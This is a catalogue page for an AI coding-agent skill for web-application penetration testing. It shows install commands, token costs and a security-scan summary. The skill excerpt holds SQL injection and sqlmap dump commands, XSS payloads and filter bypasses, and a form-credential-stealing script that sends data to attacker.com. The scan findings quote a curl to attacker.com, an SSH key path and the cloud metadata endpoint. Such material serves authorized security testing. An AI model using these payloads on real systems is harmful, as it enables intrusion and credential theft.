testing-web-applications

testing-web-applications is a skill for Claude Code, Codex from EvilFreelancer/secs. It costs 56 tokens per session (2,650 once invoked), scanned C, original, Apache-2.0.

A guide for checking live web applications for common security weaknesses, such as SQL injection, cross-site scripting, unsafe file uploads, and API flaws.

In plain words
What is it for?
Use it for authorized penetration tests, authentication and session checks, file-upload tests, and reviews of web application security.
Why use it?
It provides a structured way to look for weaknesses in a running website, especially when source code is not available.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/evilfreelancer/secs/testing-web-applications
Any agent
npx skills add EvilFreelancer/secs --skill testing-web-applications
Clone the repo
git clone --depth 1 https://github.com/EvilFreelancer/secs

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for testing-web-applications

README.md
[![agentmods](https://agentmods.dev/badge/skills/evilfreelancer/secs/testing-web-applications.svg)](https://agentmods.dev/skills/evilfreelancer/secs/testing-web-applications)
Your own site
<a href="https://agentmods.dev/skills/evilfreelancer/secs/testing-web-applications"><img src="https://agentmods.dev/badge/skills/evilfreelancer/secs/testing-web-applications.svg" alt="Measured on agentmods" height="20"></a>
Per session 56 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,650 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 3 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00056 $0.02650
Opus 5 $0.00028 $0.01325
Sonnet 5 $0.00011 $0.00530
Haiku 4.5 $0.00006 $0.00265

Measured 4d ago against content hash e3bdd47714d4, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade C, and why

testing-web-applications scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

~/.ssh/id_rsa

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

http://169.254.169.254/ # AWS metadata

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

& curl http://attacker.com &
.agents/skills/testing-web-applications/SKILL.md · 405 lines

How it starts

The opening of the file, as written. The whole thing — 405 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Testing Web Applications

When to Use

  • Pentesting web applications
  • Testing authentication/authorization
  • Exploiting injection vulnerabilities
  • Analyzing JWT/session security
  • Testing file upload functionality
  • API security assessment

When NOT to Use

  • Source code is available — use auditing-code-for-vulnerabilities first; it finds more, faster
  • Pure API/GraphQL surface — use testing-apis
  • Reviewing a pull request — use auditing-code-for-vulnerabilities
  • LLM-backed features — use securing-ai-systems
  • GraphQL or gRPC endpoints — use testing-apis
  • A JWT (eyJ...) in a header, cookie, or body — use testing-apis
  • An OAuth/OIDC or "Sign in with X" flow (/authorize, redirect_uri, code=) — use testing-apis

SQL Injection

Quick Detection:

# Test basic payloads
'
"
`
' OR '1'='1
" OR "1"="1
' OR '1'='1'--

Union-Based SQLi:

# Find column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

# Extract data
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,username,password FROM users--

Time-Based Blind:

-- MySQL
' AND SLEEP(5)--

-- PostgreSQL
' AND pg_sleep(5)--

-- MSSQL
' WAITFOR DELAY '0:0:5'--

Automated Testing:

# SQLMap
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dump
sqlmap -r request.txt -p parameter_name

Cross-Site Scripting (XSS)

Quick Payloads:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<body onload=alert(1)>

Filter Bypasses:

<ScRiPt>alert(1)</sCrIpT>
<script>alert(String.fromCharCode(88,83,83))</script>
<svg/onload=alert(1)>
<img src=x onerror="alert(1)">

Steal Credentials:

<script>
document.forms[0].onsubmit = function(){
  fetch('http://attacker.com?'+new URLSearchParams(new FormData(this)));
};
</script>

Read the full file on GitHub · 405 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 405 lines · 56 tokens per session scan C e3bdd47714d4

Subscribe to this mod's changes

testing-web-applications is a skill published in the GitHub repository EvilFreelancer/secs (10 stars, last pushed 25d ago), licensed Apache-2.0. It adds 56 tokens to every session and 2,650 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 3 findings (reaches for credential files, cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other skills, from other repositories

Blue Team Defense & Hardening

System hardening, detection engineering, security baseline monitoring, patch management, defense-in-depth architecture, and security posture improvement.

Masriyan/Claude-Code-CyberSecurity-Skill · 30 tokens

wave-issue-coverage

For each DRAFT requirement in a given Ground Control wave (or all waves), ensure a GitHub issue covers it and is bidirectionally linked. Use when the user asks to "cover wave N requirements with issues", "back-fill issues for draft requirements", or similar. Requires the Ground Control MCP and gh CLI.

Brad-Edwards/aptl · 72 tokens

ship

Ship current branch — CI, SonarCloud, code review, security review, fix all issues, merge. Assumes code is already committed and pushed.

Brad-Edwards/aptl · 33 tokens

create-huntable-agent

Add a new extraction sub-agent to Huntable CTI Studio as a first-class peer of CmdlineExtract, ProcTreeExtract, HuntQueriesExtract, RegistryExtract, ServicesExtract, and ScheduledTasksExtract. Use this skill whenever the user asks to "add a new agent", "create a sub-agent", "wire up a new extractor", "add a new…

dfirtnt/Huntable-CTI-Studio · 129 tokens

codebase-test-trueup

Audit test coverage gaps and generate unit tests to close them. Use when the user says "test trueup", "coverage gaps", "test coverage audit", "fill coverage", "write missing tests", "backfill tests", "scope tests", "test what I changed", or any request to identify and fill test gaps. Three modes: audit (report only)…

dfirtnt/Huntable-CTI-Studio · 96 tokens

mdu

Update all Markdown documentation to reflect code and session changes. Use this skill whenever the user says "mdu", asks to "update docs", "sync documentation", "refresh changelog", "update the changelog", "docs are stale", "add this to the changelog", or any request to align documentation with recent code changes.…

dfirtnt/Huntable-CTI-Studio · 203 tokens